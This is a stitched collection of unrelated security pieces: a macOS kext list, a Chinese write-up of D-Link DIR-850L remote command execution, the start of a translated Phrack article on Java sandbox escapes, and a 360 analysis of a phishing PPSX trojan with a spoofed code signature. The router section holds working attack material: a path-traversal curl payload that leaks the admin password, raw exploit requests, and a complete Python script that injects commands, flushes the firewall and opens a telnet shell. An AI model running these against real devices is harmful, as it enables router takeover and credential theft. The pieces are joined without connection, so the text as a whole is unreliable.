com.apple.driver.AppleSMBusPCI 1.0.14d1
com.apple.iokit.IOFireWireIP 2.2.6
com.apple.driver.AppleHDAController 272.50.31
com.apple.iokit.IOHDAFamily 272.50.31
com.apple.iokit.IOAudioFamily 204.1
com.apple.vecLib.kext 1.2.0
com.apple.iokit.IONDRVSupport 2.4.1
com.apple.iokit.IOSlowAdaptiveClockingFamily 1.0.0
com.apple.driver.AppleSMC 3.1.9
com.apple.driver.IOPlatformPluginLegacy 1.0.0
com.apple.driver.IOPlatformPluginFamily 6.0.0d7
com.apple.iokit.IOGraphicsFamily 2.4.1
com.apple.iokit.IOSCSIArchitectureModelFamily 3.7.7
com.apple.driver.usb.IOUSBHostHIDDevice 1.0.1
com.apple.iokit.IOUSBHIDDriver 900.4.1
com.apple.driver.usb.AppleUSBHostCompositeDevice 1.0.1
com.apple.driver.usb.AppleUSBHub 1.0.1
com.apple.driver.AppleThunderboltDPInAdapter 4.1.2
com.apple.driver.AppleThunderboltDPOutAdapter 4.1.2
com.apple.driver.AppleThunderboltDPAdapterFamily 4.1.2
com.apple.driver.AppleThunderboltPCIDownAdapter 2.0.2
com.apple.driver.AppleThunderboltNHI 4.0.4
com.apple.iokit.IOThunderboltFamily 5.0.6
com.apple.iokit.IOFireWireFamily 4.5.8
com.apple.iokit.IOEthernetAVBController 1.0.3b3
com.apple.iokit.IO80211Family 1101.24
com.apple.driver.mDNSOffloadUserClient 1.0.1b8
com.apple.iokit.IONetworkingFamily 3.2
com.apple.driver.corecapture 1.0.4
com.apple.iokit.IOAHCIFamily 2.8.0
com.apple.driver.usb.AppleUSBEHCI 1.0.1
com.apple.iokit.IOUSBFamily 900.4.1
com.apple.iokit.IOUSBHostFamily 1.0.1
com.apple.driver.AppleUSBHostMergeProperties 1.0.1
com.apple.driver.AppleEFINVRAM 2.0
com.apple.driver.AppleEFIRuntime 2.0
com.apple.iokit.IOHIDFamily 2.0.0
com.apple.iokit.IOSMBusFamily 1.1
com.apple.security.sandbox 300.0
com.apple.kext.AppleMatch 1.0.0d1
com.apple.driver.AppleKeyStore 2
com.apple.driver.AppleMobileFileIntegrity 1.0.5
com.apple.driver.AppleCredentialManager 1.0
com.apple.driver.DiskImages 415
com.apple.iokit.IOStorageFamily 2.1
com.apple.iokit.IOReportFamily 31
com.apple.driver.AppleFDEKeyStore 28.30
com.apple.driver.AppleACPIPlatform 4.0
com.apple.iokit.IOPCIFamily 2.9
com.apple.iokit.IOACPIFamily 1.4
com.apple.kec.Libm 1
com.apple.kec.pthread 1
com.apple.kec.corecrypto 1.0
**发现者：**
该漏洞由Cisco Talos的Piotr Bania发现。
**时间线：**
2016年2月2日 ——供应商披露
2016年3月22日—— 公开发布
**相关文章播报链接：http://bobao.360.cn/news/detail/2864.html** | 社区文章 |
* * *
**0x01dlink850l远程命令执行漏洞**
当管理员接口的配置信息发生改变时，变化的配置信息会以 xml 的数据格式发送给 hedwig.cgi ，由 hedwig.cgi
重载并应用这些配置信息，而在接受这个数据前，程序并没有对用户身份进行判断，导致非管理员用户也可向 hedwig.cgi 发送XML数据。在接收 XML
数据的过程中， hedwig.cgi 会调用 htdocs/webinc/fatlady.php 文件验证数据合法性。
hedwig.cgi其实是一个链接文件，指向/htdocs/cgibin文件，接收到用户请求的xml数据请求后先封装成xml文件，发送read
xml的请求到xmldb server，然后发送execute php的请求到xmldb server。
hedwig.cgi
int hedwigcgi_main(void)
{
bool bVar1;
char *__s1;
FILE *__stream;
undefined *puVar2;
int __fd;
void *pvVar3;
void *pvVar4;
int __fd_00;
int iVar5;
int iVar6;
char **ppcVar7;
char acStack1232 [20];
char *local_4bc [5];
char acStack1192 [128];
char acStack1064 [1024];
memset(acStack1064,0,0x400);
memset(acStack1192,0,0x80);
memcpy(acStack1232,"/runtime/session",0x11);
__s1 = getenv("REQUEST_METHOD");
if (__s1 == (char *)0x0) {
__s1 = "no REQUEST";
LAB_0040d1bc:
pvVar3 = (void *)0x0;
pvVar4 = (void *)0x0;
LAB_0040d5f4:
__fd_00 = -1;
}
else {
__fd_00 = strcasecmp(__s1,"POST");
if (__fd_00 != 0) {
__s1 = "unsupported HTTP request";
goto LAB_0040d1bc;
}
cgibin_parse_request(&LAB_0040d5fc,0,0x20000);
__stream = fopen("/etc/config/image_sign","r"); //读取文件载入硬件版本
__s1 = fgets(acStack1192,0x80,__stream);
if (__s1 == (char *)0x0) {
__s1 = "unable to read signature!";
goto LAB_0040d1bc;
}
fclose(__stream);
cgibin_reatwhite(acStack1192);
pvVar3 = (void *)sobj_new();
pvVar4 = (void *)sobj_new();
if ((pvVar3 == (void *)0x0) || (pvVar4 == (void *)0x0)) {
__s1 = "unable to allocate string object";
goto LAB_0040d5f4;
}
sess_get_uid((int)pvVar3);
puVar2 = sobj_get_string((int)pvVar3);
snprintf(acStack1064,0x400,"%s/%s/postxml","/runtime/session",puVar2);
xmldbc_del((char *)0x0,0,acStack1064); //删掉临时文件
__stream = fopen("/var/tmp/temp.xml","w");
if (__stream == (FILE *)0x0) {
__s1 = "unable to open temp file.";
goto LAB_0040d5f4;
}
if (DAT_00437f30 == (char *)0x0) {
__s1 = "no xml data.";
goto LAB_0040d5f4;
}
__fd_00 = fileno(__stream);
__fd_00 = lockf(__fd_00,3,0);
if (__fd_00 < 0) {
printf(
"HTTP/1.1 200 OK\r\nContent-Type:text/xml\r\n\r\n<hedwig><result>BUSY</result><message>%s</message></hedwig>"
,0);
__fd_00 = 0;
goto LAB_0040d570;
}
ppcVar7 = local_4bc + 2;
__fd = fileno(__stream);
lockf(__fd,1,0);
local_4bc[1] = (char *)0x0;
local_4bc[2] = 0;
local_4bc[3] = 0;
local_4bc[4] = 0;
local_4bc[0] = acStack1192;
local_4bc[1] = strtok(acStack1232,"/");
__fd = 2;
do {
iVar6 = __fd;
__fd = iVar6 + 1;
__s1 = strtok((char *)0x0,"/");
*ppcVar7 = __s1;
ppcVar7 = ppcVar7 + 1;
} while (__s1 != (char *)0x0);
ppcVar7 = local_4bc;
iVar5 = 0;
__s1 = sobj_get_string((int)pvVar3);
local_4bc[iVar6] = __s1;
fputs("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n",__stream);
bVar1 = 0 < __fd;
while (iVar5 = iVar5 + 1, bVar1) {
__s1 = *ppcVar7;
ppcVar7 = ppcVar7 + 1;
fprintf(__stream,"<%s>\n",__s1);
bVar1 = iVar5 < __fd;
}
__s1 = strstr(DAT_00437f30,"<postxml>");
fprintf(__stream,"%s\n",__s1);
ppcVar7 = local_4bc + iVar6;
do {
__fd = __fd + -1;
__s1 = *ppcVar7;
ppcVar7 = ppcVar7 + -1;
fprintf(__stream,"</%s>\n",__s1);//写入/var/tmp/temp.xml"
} while (0 < __fd);
fflush(__stream);
xmldbc_read((char *)0x0,2,"/var/tmp/temp.xml"); //被其他文件读取
__fd = fileno(__stream);
lockf(__fd,0,0);
fclose(__stream);
remove("/var/tmp/temp.xml"); //删掉
puVar2 = sobj_get_string((int)pvVar3);
snprintf(acStack1064,0x400,"/htdocs/webinc/fatlady.php\nprefix=%s/%s","/runtime/session",puVar2) //这里读取/htdocs/webinc/fatlady.php
;
xmldbc_ephp((char *)0x0,0,acStack1064,stdout);// 运行刚才读取的/htdocs/webinc/fatlady.php
if (__fd_00 == 0) goto LAB_0040d570;
__s1 = (char *)0x0;
}
printf(
"HTTP/1.1 200 OK\r\nContent-Type:text/xml\r\n\r\n<hedwig><result>FAILED</result><message>%s</message></hedwig>"
,__s1);
LAB_0040d570:
if (DAT_00437f30 != (char *)0x0) {
free(DAT_00437f30);
}
if (pvVar4 != (void *)0x0) {
sobj_del(pvVar4);
}
if (pvVar3 != (void *)0x0) {
sobj_del(pvVar3);
}
return __fd_00;
}
跟上一篇类似的插入
参考<https://blog.csdn.net/qq_38204481/article/details/105113896>
fatlady.php
HTTP/1.1 200 OK
Content-Type: text/xml
<?
include "/htdocs/phplib/trace.php";
/* get modules that send from hedwig */
/* call $target to do error checking,
* and it will modify and return the variables, '$FATLADY_XXXX'. */
$FATLADY_result = "OK";
$FATLADY_node = "";
$FATLADY_message= "No modules for Hedwig"; /* this should not happen */
//TRACE_debug("FATLADY dump ====================\n".dump(0, "/runtime/session"));
foreach ($prefix."/postxml/module")
{
del("valid");
if (query("FATLADY")=="ignore") continue;
$service = query("service");
if ($service == "") continue;
TRACE_debug("FATLADY: got service [".$service."]");
$target = "/htdocs/phplib/fatlady/".$service.".php"; /*FATLADY != ignore ，service字段可以直接被拼接并执行*/
$FATLADY_prefix = $prefix."/postxml/module:".$InDeX;
$FATLADY_base = $prefix."/postxml";
if (isfile($target)==1) dophp("load", $target);
else
{
TRACE_debug("FATLADY: no file - ".$target);
$FATLADY_result = "FAILED";
$FATLADY_message = "No implementation for ".$service;
}
if ($FATLADY_result!="OK") break;
}
echo "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n";
echo "<hedwig>\n";
echo "\t<result>". $FATLADY_result. "</result>\n";
echo "\t<node>". $FATLADY_node. "</node>\n";
echo "\t<message>". $FATLADY_message. "</message>\n";
echo "</hedwig>\n";
?>
利用payload
curl -d '<?xml version="1.0" encoding="utf-8"?><postxml><module><service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service></module></postxml>' -b "uid=demo" -H "Content-Type: text/xml" "http://VictimIp:8080/hedwig.cgi"
抓包
附加xml的post请求发送过去的命令触发漏洞
**0x02dlink850l 命令执行漏洞获取shell**
**用./hedwig.cgi文件加载的fatlady.phpphp文件直接加载漏洞加载DEVICE.ACCOUNT.xml.php文件获取用户名，密码**
请求：
POST /hedwig.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: text/xml
Cookie: uid=whatever
Content-Length: 150
<?xml version="1.0" encoding="utf-8"?>
<postxml>
<module>
<service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>
</module>
</postxml>
回应：
HTTP/1.1 200 OK
Server: Linux, HTTP/1.1, DIR-850L Ver 1.14WW
Date: Fri, 27 May 2016 00:02:46 GMT
Transfer-Encoding: chunked
Content-Type: text/xml
<module>
<service></service>
<device>
<gw_name>DIR-850L</gw_name>
<account>
<seqno>1</seqno>
<max>2</max>
<count>1</count>
<entry>
<uid>USR-</uid>
<name>Admin</name>
<usrid></usrid>
<password>root1996</password>
<group>0</group>
<description></description>
</entry>
</account>
<group>
<seqno></seqno>
<max></max>
<count>0</count>
</group>
<session>
<captcha>0</captcha>
<dummy></dummy>
<timeout>600</timeout>
<maxsession>128</maxsession>
<maxauthorized>16</maxauthorized>
</session>
</device>
</module>
<?xml version="1.0" encoding="utf-8"?>
<hedwig>
<result>OK</result>
<node></node>
<message>No modules for Hedwig</message>
</hedwig>
**/authentication.cgi 登录**
a>获取到登录的 uid，callenge，使用GET请求
GET /authentication.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
回应
HTTP/1.1 200 OK
Server: Linux, HTTP/1.1, DIR-850L Ver 1.14WW
Date: Fri, 27 May 2016 00:02:46 GMT
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
{"status": "ok", "errno": null, "uid": "0764udul3Z", "challenge": "d4efd41c-4595-4a16-b5b5-0d90dca490ca", "version": "0204"}
POST /authentication.cgi HTTP/1.1
b>使用uid键值对作为cookie，password与username+challenge作md5，发送post请求
POST /authentication.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Cookie: uid=0764udul3Z
Content-Length: 50
Content-Type: application/x-www-form-urlencoded
id=Admin&password=7499059A6F694AD6117790A807038807
接下来将作为root用户获取shell
**用/getcfg.php执行DEVICE.TIME.xml.php文件**
/getcfg.php文件里面是
从post过去的信息中获取SERVICES字段执行对应php文件（其实这里有一个漏洞，执行这个php文件可以不用拿到admin用户的密码）
执行的getcfg.php文件可以设置SERVICES字段可以运行另一个文件DEVICE.TIME.xml.php
DEVICE.TIME.xml.php文件有命令执行漏洞
query函数会获取post携带的xml文件里面的对应标签的数值，类似python的xpath
fwrite函数是写入数据流中，a是追加，应该是把这些命令写入文件之后执行(这里可以是一个赋值语句如果$server设置为`"metelesku;
("+COMMAND+") & exit;` "就会造成截断)
可以看到server字段被直接写入文件造成了命令执行。
发送报文
POST /getcfg.php HTTP/1.1
Host: 192.168.0.1
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Cookie: uid=0764udul3Z
Content-Length: 20
Content-Type: application/x-www-form-urlencoded
SERVICES=DEVICE.TIME
收到回应
`$server = query("/device/time/ntp/server");`来获取.
**用post /hedwig.cgi文件执行命令**
/hedwig.cgi文件会执行fatlady.php文件，设置service位和TDEVICE.TIME执行命令
发送的报文如下
**向pigwidgeon.cgi发送激活请求，使服务生效**
发送的报文
POST /pigwidgeon.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Cookie: uid=0764udul3Z
Content-Length: 25
Content-Type: application/x-www-form-urlencoded
ACTIONS=SETCFG%2CACTIVATE
post /pigwidgeon.cgi文件设置xml内容为 ACTIONS=SETCFG%2CACTIVATE可以激活一个服务
* * *
**0x03利用脚本**
#!/usr/bin/env python3
# pylint: disable=C0103
#coding=utf-8
# pip3 install requests lxml
#
import hmac
import json
import sys
from urllib.parse import urljoin
from xml.sax.saxutils import escape
import lxml.etree
import requests
COMMAND = ";".join([
"iptables -F", # 清空指定链 chain 上面的所有规则。如果没有指定链，清空该表上所有链的所有规则。
"iptables -X", #删除指定的链，这个链必须没有被其它任何规则引用，而且这条上必须没有任何规则。如果没有指定链名，则会删除该表中所有非内置的链。
"iptables -t nat -F", #对指定nat链表进行 -F操作
"iptables -t nat -X", # 定义地址转换的，也只能做在3个链上：PREROUTING ，OUTPUT ，POSTROUTING
"iptables -t mangle -F", #修改报文原数据，是5个链都可以做：PREROUTING，INPUT，FORWARD，OUTPUT，POSTROUTING
"iptables -t mangle -X",
"iptables -P INPUT ACCEPT", # -P指定要匹配的数据包协议类型 INPUT链 ：处理输入数据包 ACCEPT ：接收数据包
"iptables -P FORWARD ACCEPT",#FORWARD链 ：处理转发数据包。
"iptables -P OUTPUT ACCEPT", #OUTPUT链 ：处理输出数据包。
"telnetd -p 23090 -l /bin/date" # 开启telnet服务。 之后执行命令：telnet 192.168.0.1 23090 拿到shell
])
try:
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
except:
pass
TARGET = sys.argv[1]
session = requests.Session()
session.verify = False
############################################################获取用户名密码
print("Get password...")
headers = {"Content-Type": "text/xml"}
cookies = {"uid": "whatever"}
data = """<?xml version="1.0" encoding="utf-8"?>
<postxml>
<module>
<service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>
</module>
</postxml>"""
resp = session.post(urljoin(TARGET, "./hedwig.cgi"), headers=headers, cookies=cookies, data=data)
# print(resp.text)
# getcfg: <module>...</module>
# hedwig: <?xml version="1.0" encoding="utf-8"?>
# : <hedwig>...</hedwig>
accdata = resp.text[:resp.text.find("<?xml")]
admin_pasw = ""
tree = lxml.etree.fromstring(accdata)
accounts = tree.xpath("/module/device/account/entry")
for acc in accounts:
name = acc.findtext("name", "")
pasw = acc.findtext("password", "")
print("name:", name)
print("pass:", pasw)
if name == "Admin":
admin_pasw = pasw
if not admin_pasw:
print("Admin password not found!")
sys.exit()
############################################################ 通过/authentication.cgi获取key
#登录方式：
#1.发送get请求/authentication.cgi
#将获取到{"status": "ok", "errno": null, "uid": "MPxUAS6sZp",
# "challenge": "c75a69e4-d1fe-4a47-b152-b494c9174316", "version": "0204"}
#2.使用uid键值对作为cookie，password与username+challenge作md5
#3.发送post请求到/authentication.cgi
print("Auth challenge...")
resp = session.get(urljoin(TARGET, "/authentication.cgi"))
# print(resp.text)
resp = json.loads(resp.text)
if resp["status"].lower() != "ok":
print("Failed!")
print(resp.text)
sys.exit()
print("uid:", resp["uid"])
print("challenge:", resp["challenge"])
session.cookies.update({"uid": resp["uid"]})
print("Auth login...")
user_name = "Admin"
user_pasw = admin_pasw
data = {
"id": user_name,
"password": hmac.new(user_pasw.encode(), (user_name + resp["challenge"]).encode(), "md5").hexdigest().upper()
}
resp = session.post(urljoin(TARGET, "/authentication.cgi"), data=data)
# print(resp.text)
resp = json.loads(resp.text)
if resp["status"].lower() != "ok":
print("Failed!")
print(resp.text)
sys.exit()
print("OK")
############################################################设置cookie：uid=MPxUAS6sZp
data = {"SERVICES": "DEVICE.TIME"}
# POST /getcfg.php HTTP/1.1
# Host: 192.168.0.1
# User-Agent: python-requests/2.18.4
# Accept-Encoding: gzip, deflate
# Accept: */*
# Connection: keep-alive
# Cookie: uid=MPxUAS6sZp
# Content-Length: 20
# Content-Type: application/x-www-form-urlencoded
#
# SERVICES=DEVICE.TIME
resp = session.post(urljoin(TARGET, "/getcfg.php"), data=data) #文件执行
print(resp.text)
tree = lxml.etree.fromstring(resp.content) #设置要发送的xml文件的service字段和要执行的命令
tree.xpath("//ntp/enable")[0].text = "1"
tree.xpath("//ntp/server")[0].text = "metelesku; ("+COMMAND+") & exit; "
tree.xpath("//ntp6/enable")[0].text = "1"
############################################################
#
print("hedwig")
#hedwig.cgi文件里面执行fatlady.php文件，设置service位和TDEVICE.TIME可以执行执行TDEVICE.TIME.xml.php
#TDEVICE.TIME.xml.php文件可以执行命令
headers = {"Content-Type": "text/xml"}
data = lxml.etree.tostring(tree)
resp = session.post(urljoin(TARGET, "/hedwig.cgi"), headers=headers, data=data)
# print(resp.text)
tree = lxml.etree.fromstring(resp.content)
result = tree.findtext("result")
if result.lower() != "ok":
print("Failed!")
print(resp.text)
sys.exit()
print("OK")
############################################################
#激活服务
print("pigwidgeon")
data = {"ACTIONS": "SETCFG,ACTIVATE"}
resp = session.post(urljoin(TARGET, "/pigwidgeon.cgi"), data=data)
# print(resp.text)
tree = lxml.etree.fromstring(resp.content)
result = tree.findtext("result")
if result.lower() != "ok":
print("Failed!")
print(resp.text)
sys.exit()
print("OK") | 社区文章 |
原文：<http://phrack.org/papers/escaping_the_java_sandbox.html>
# **\--[ 1 – 引言**
* * *
如今，Java平台已经广泛部署到了数十亿台的设备之上，其中，这些设备的类型包括服务器、桌面工作站和各种消费电子产品。不过话说回来，Java平台的设计初衷只是想实现一个精心设计的安全模型，即Java沙箱，以便可以安全执行来自（潜在）不可信的远程计算机的代码，而不会危及主机的安全。准确来说，这种沙箱化方法是用于确保不受信任的Java应用程序(如Web浏览器中的Java小程序)能够安全执行的。不幸的是，自Java平台推出以来，没有一个主要版本能逃过完全绕过沙箱这种高危安全漏洞的魔咒。尽管过去二十年来，人们一直不遗余力地修复和修改该平台的安全机制，但各种高危漏洞，仍然是它挥之不去的噩梦。
在这篇文章中，我们回顾了Java安全情况的过去和现在。我们的目标是概述Java平台安全性是如何失败的，以便我们可以从过去的错误中吸取教训。这里介绍的所有安全漏洞都是已知的，并在当前版本的Java运行时中得到了修复，当然，这一切仅限于教育用途。之所以编写本文，是希望大家能够从中获得一些洞察力，从而帮助我们将来设计出更好的系统。
# **\--[ 2 - 背景知识**
* * *
## **\----[ 2.1 - Java沙箱的漏洞简史**
* * *
1995年，Sun
Microsystems公司发布了Java的第一个版本[2]。一年之后，普林斯顿大学的研究人员就发现了多个可以用来绕过沙箱的安全漏洞[3]。这些漏洞存在于语言、字节码和对象初始化方面，其中一些漏洞，截止撰写本文时，仍然存在于Java中。这是第一篇详细描述针对Java运行时的类欺骗攻击方面的研究报告。
几年后，也就是2002年的时候，The Last Stage of
Delirium（LSD）研究小组提出了Java虚拟机安全性的研究报告[29]。他们详细介绍了影响字节码验证程序和类加载程序方面的漏洞，这些漏洞能够导致类型混淆或类欺骗攻击。到了2010年，Koivu通过解释如何利用他发现的CVE-2010-0840漏洞，首次公开展示了可信方法链攻击对Java的影响[32]。2011年，Drake描述了如何利用Java中的内存破坏漏洞[4]。准确来说，他给出了利用CVE-2009-3869和CVE-2010-3552这两个堆栈缓冲区溢出漏洞的详细过程。
2012年，Guillardoy[5]描述了CVE-2012-4681问题，这两个漏洞允许攻击者绕过沙箱。第一个漏洞允许访问受限制的类，而第二个漏洞则允许修改私有字段。在同一年，Oh描述了如何利用CVE-2012-0507的漏洞，通过类型混淆攻击来绕过Java沙箱[6]的方法。
2013年，Gorenc和Spelman对120个Java漏洞进行了大规模的研究，并得出结论：不安全的反射机制是Java中最常见的漏洞，而类型混淆则是最常被利用的漏洞[8]。同年，Lee和Nie也发现了多个漏洞，包括一个本地方法中的漏洞，它可以绕过沙箱[9]。还是在2013年，Kaiser描述了CVE-2013-1438漏洞，一个由James
Forshaw发现的可靠方法链漏洞，而CVE-2012-5088则是Security
Explorations公司发现的Java反射漏洞。在2012年至2013年期间，Security
Explorations公司的安全研究人员发现了20多个Java漏洞[7]。
从2014年开始，主流的网络浏览器（如Chrome或Firefox）的开发人员决定默认禁用NAPI（因此，默认情况下，浏览器是无法执行任何Java代码的）[11]
[12]。此后，针对Java的攻击面开始减少，同时，针对Java沙箱绕过的研究也越来越难得。但是，沙箱绕过方面的漏洞仍然会时不时地蹦出一个来。例如，在2018年，Lee描述了如何利用CVE-2018-2826漏洞的方法，这是由XOR19发现的一个类型混淆漏洞[18]。
## **\----[ 2.2 - Java平台**
* * *
Java平台可以分为两个抽象组件：Java虚拟机（JVM）和Java类库（JCL）。
JVM是Java平台的核心，它是以本机代码来实现的，并为程序执行提供了所需的所有基本功能，例如字节码解析器、JIT编译器、垃圾收集器等。由于它是本机实现的，因此，对于其他本机二进制文件所面临的攻击，包括内存损坏漏洞，例如缓冲区溢出[1]等，JVM也在所难逃。
JCL是JVM自带的一个标准库，含有数百个系统类，其中大部分都是用Java语言实现的，只有很少一部分是本机实现的。由于所有系统类都是可信任的，因此，默认情况下，会赋予它们所有的特权。因此，它们可以完全访问任何类型的功能（文件系统读/写权限、完整的访问网络权限等），从而具有针对主机的完整访问权限。因此，安全分析人员可以利用系统类中的任何安全漏洞来实现沙箱逃逸。
因此，本文的主要内容分为两大部分：其中一部分介绍内存破坏漏洞，另一部分则侧重于Java级别的漏洞。
## **\----[ 2.3 - Java安全管理器**
* * *
在JCL的代码中，沙箱是通过授权检查的方式实现的，其中大多数都是权限检查。例如，在访问文件系统之前，JCL中的代码会检查调用者是否具有访问文件系统的权限。下面的代码是一个考察类_java.io.FileInputStream_对于文件的读取权限的示例。其中，构造函数会检查调用者是否具有读取指定文件所需的读取权限，见第5行代码。
1: public FileInputStream(File file) throws FileNotFoundException {
2: String name = (file != null ? file.getPath() : null);
3: SecurityManager security = System.getSecurityManager();
4: if (security != null) {
5: security.checkRead(name);
6: }
7: if (name == null) {
8: throw new NullPointerException();
9: }
10: if (file.isInvalid()) {
11: throw new FileNotFoundException("Invalid file path");
12: }
13: fd = new FileDescriptor();
14: fd.incrementAndGetUseCount();
15: this.path = name;
16: open(name);
17: }
请注意，出于性能原因的考虑，仅在设置了安全管理器时才会检查授权情况（第3-4行）。因此，Java沙箱逃逸方面的典型攻击，通常目标就是将安全管理器设置为null。这样一来，就能有效地取消所有授权检查。不过，如果安全管理器根本就没有设置的话，安全分析人员就可以直接运行任意代码了，就像已经获得了所有授权一样。
但是，检查授权仅适用于Java级别。因为本机代码在运行时会被授予全部权限。虽然安全分析人员在利用内存损坏漏洞时，有时可以直接运行受自己控制的本机代码，但在本文的所有示例中，我们都只关注如何禁用安全管理器，以便获取全部权限来执行任意Java代码。
**\----[ 2.4 - doPrivileged方法**
* * *
当检查权限“P”时，JVM将会检测调用堆栈的每个元素是否都具有权限“P”。只要有一个元素没有“P”权限，它就会抛出安全异常。对于这种方法来说，在大部分情况下都是有效的。但是，有时候JCL中的某些方法，如m1()，在调用它时是没有权限要求的，不过，它们可能会调用JCL中的其他方法，如m2()，而后者则要求调用者具备"P2"权限。对于上面的检查方法来说，如果用户类中的main()方法没有调用m1()方法的权限，那么JVM还是会抛出安全异常，这是因为后面m1()会调用m2()。实际上，在遍历调用堆栈期间，m1()和m2()都具有所需的权限，因为它们都属于JCL中的受信任的类，但main()却没有相应的权限。
对于上面的问题，解决办法是把m1()内对于m2()的调用封装到doPrivileged()调用中。因此，当检查“P2”时，堆栈遍历停止在调用doPrivileged()的方法处，这里是m1()。由于m1()是JCL中的一个方法，因此，它具有全部的权限。因此，检查成功通过，并且堆栈遍历操作就此打住。
这方面的一个实际例子是_java.nio.Bits_类中的unaligned()方法。它是用来处理网络流的，并且必须知道处理器的体系结构。但是，获取该信息所需要的“get_property”权限，可能是许多用户代码所不具备的。因此，在这种情况下，从不受信任的类调用unaligned()时，由于权限检查的缘故，调用过程会失败。因此，可以将检索处理器体系结构信息的unaligned()方法中的代码封装到doPrivileged调用中，具体如下所示（第4-5行）：
1: static boolean unaligned() {
2: if (unalignedKnown)
3: return unaligned;
4: String arch = AccessController.doPrivileged(
5: new sun.security.action.GetPropertyAction("os.arch"));
6: unaligned = arch.equals("i386") || arch.equals("x86")
7: || arch.equals("amd64") || arch.equals("x86_64");
8: unalignedKnown = true;
9: return unaligned;
10: }
当检查“get_property”权限时，堆栈遍历将开始检查各个方法，直至bit.unaligned()方法，然后停止检查。
小结
由于原文篇幅较长，为了让译文及时与读者见面，我们将分段发表。在本文中，回顾了Java沙箱的漏洞简史，介绍了Java平台的两个基本组成部分，同时，还讲解了Java安全管理器和doPrivileged方法，更多精彩内容，请耐心等待。 | 社区文章 |
# 仿冒签名攻击频现 针对外贸行业精准钓鱼
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
近期，360核心安全团队监测到一类针对外贸行业人员进行攻击的木马正在传播，该类木马被包含在钓鱼邮件附件的PPT文档中，所携带的数字签名仿冒了知名公司“通达信”的签名。
## 攻击过程
仿冒“通达信”签名的木马主要通过两种方式进行传播，一种是通过给特定目标群体发送钓鱼邮件，另一种则是通过早已潜伏很久的“乱世”木马来运行。
本文主要介绍通过钓鱼邮件的攻击手法。作案团伙精心制做多种PPT文档，分别针对不同的目标人员伪装文档内容，并通过邮件附件进行传播，诱导用户下载点击运行。如下是其中一例传播的样本，该诱导附件伪装成某“空气清新器”相关的幻灯片文档。
直接打开该文档后，将自动运行办公软件如Office PPT或WPS
PPT程序来播放全屏幻灯片如下，此时只要移动一下鼠标，或者因为看见其中的播放按钮而点击幻灯片的话，就会触发运行木马程序的动作。由于这种直接执行程序的动作比较危险，所以一般办公软件都会弹出警告提示让用户选择是否执行，尽管如此仍有不少用户会因为不慎点击“确定”，或者因为不断的触发动作导致不停地弹窗，最终让木马程序运行起来。
一旦得到运行机会，PPT软件将释放木马程序到临时目录，并命名成伪装的Office批处理程序运行起来，实际上该程序就是带有仿冒“通达信”数字签名的木马。
经过测试，这种运行木马的方式成功率较高，主要原因是木马作者将该PPT文档的拓展类型做成自动放映文件（“.ppsx”），并在其中设置了可不断触发的对象动作。通常PPT文档的保存格式是”.ppt”或”.pptx”，打开后不会自动全屏播放幻灯片，如下将样本拓展名改成”.pptx”后打开文档，可以看到其中插入的一个外部对象，并对该对象设置了“自定义动画”。
如果只是插入可以点击执行的外部程序对象可能成功率相对较低，但是木马作者又很猥琐地对该对象设置了“鼠标移过”和“鼠标单击”的触发动作，只要在全屏播放文档的过程中移动鼠标就会不断的触发打开木马程序的动作，不厌其烦地弹出安全警告，大大提高了木马运行的成功率。
## 木马分析
通过上述的攻击手法，木马被成功运行起来开始工作。首先定位到木马程序的释放位置，查看一下该程序的外貌特征，发现不仅程序的文件版本信息伪装成了“有道”PDF文档转换器，程序代码也被加了一层“Themida”强壳。
通过调试工具对木马程序进行脱壳处理后进一步跟踪，发现该程序只是个加载器，其工作是在内存中解密出一个真正工作的核心DLL模块并加载执行，加载过程是先检查PE头部的数据格式后再分配内存进行LoadPE。
加载完核心DLL模块后，随即通过解析PE结构获取导出函数“Shellex”的地址，然后调用该模块的导出函数“Shellex”进行工作。
进入工作流程后，木马模块首先联网下载一个迷惑性的PPT文档“stick1.ppsx”，下载地址为：“hxxp://139.159.132.114:988/ppt/stick1.ppsx”。
随后木马打开该PPT文档进行播放，用于给目标用户展示感兴趣的内容，目的是降低用户的警觉性。PPT文档共有两张幻灯片，内容仍然是“空气清新器”相关。
当然，播放“空气清新器”相关的PPT只是表面工作，木马程序则已经在后台继续偷偷地运行。为了持久化，木马程序首先添加自启动，实现方式是通过”DefineDosDeviceA”创建一个该程序在系统“启动”目录的Dos符号链接，然后把自身拷贝到该符号链接路径来间接地完成将木马程序拷贝到自启动目录的任务。
布置完相关的持久化环境后，木马程序紧接着就准备上线，连接上线的服务器地址为：”www.kuailebaoche.com:9009”。
连接服务器之后，收集用户电脑信息，包括系统版本、内存状态、硬盘信息、木马安装时间等，还有通过遍历进程列表来收集电脑的安全软件运行情况，方便后续的控制活动。
信息回传完毕后就上线成功了，接下去便是等待远程控制端的操作请求。一旦收到控制请求，在接收数据到缓冲区后需要先对其进行简单的异或解密，然后再解析和分发控制指令。
最终进入分发控制流程，包含常见的远控木马功能如下载执行、遍历进程、注销系统等。
## 追踪溯源
整理该仿冒签名签发过的程序类别，发现作案团伙除了用该签名来签发木马程序外，在360对其全面查杀之后，还签发了大量通达信软件的程序和少量的其他正常程序，在不断地进行安全测试。
仿冒签名测试签发的正常通达信程序如下图，签名字符串尾部多了一个很不显眼的点，是作案团伙从其他签发机构申请而来的仿冒签名。
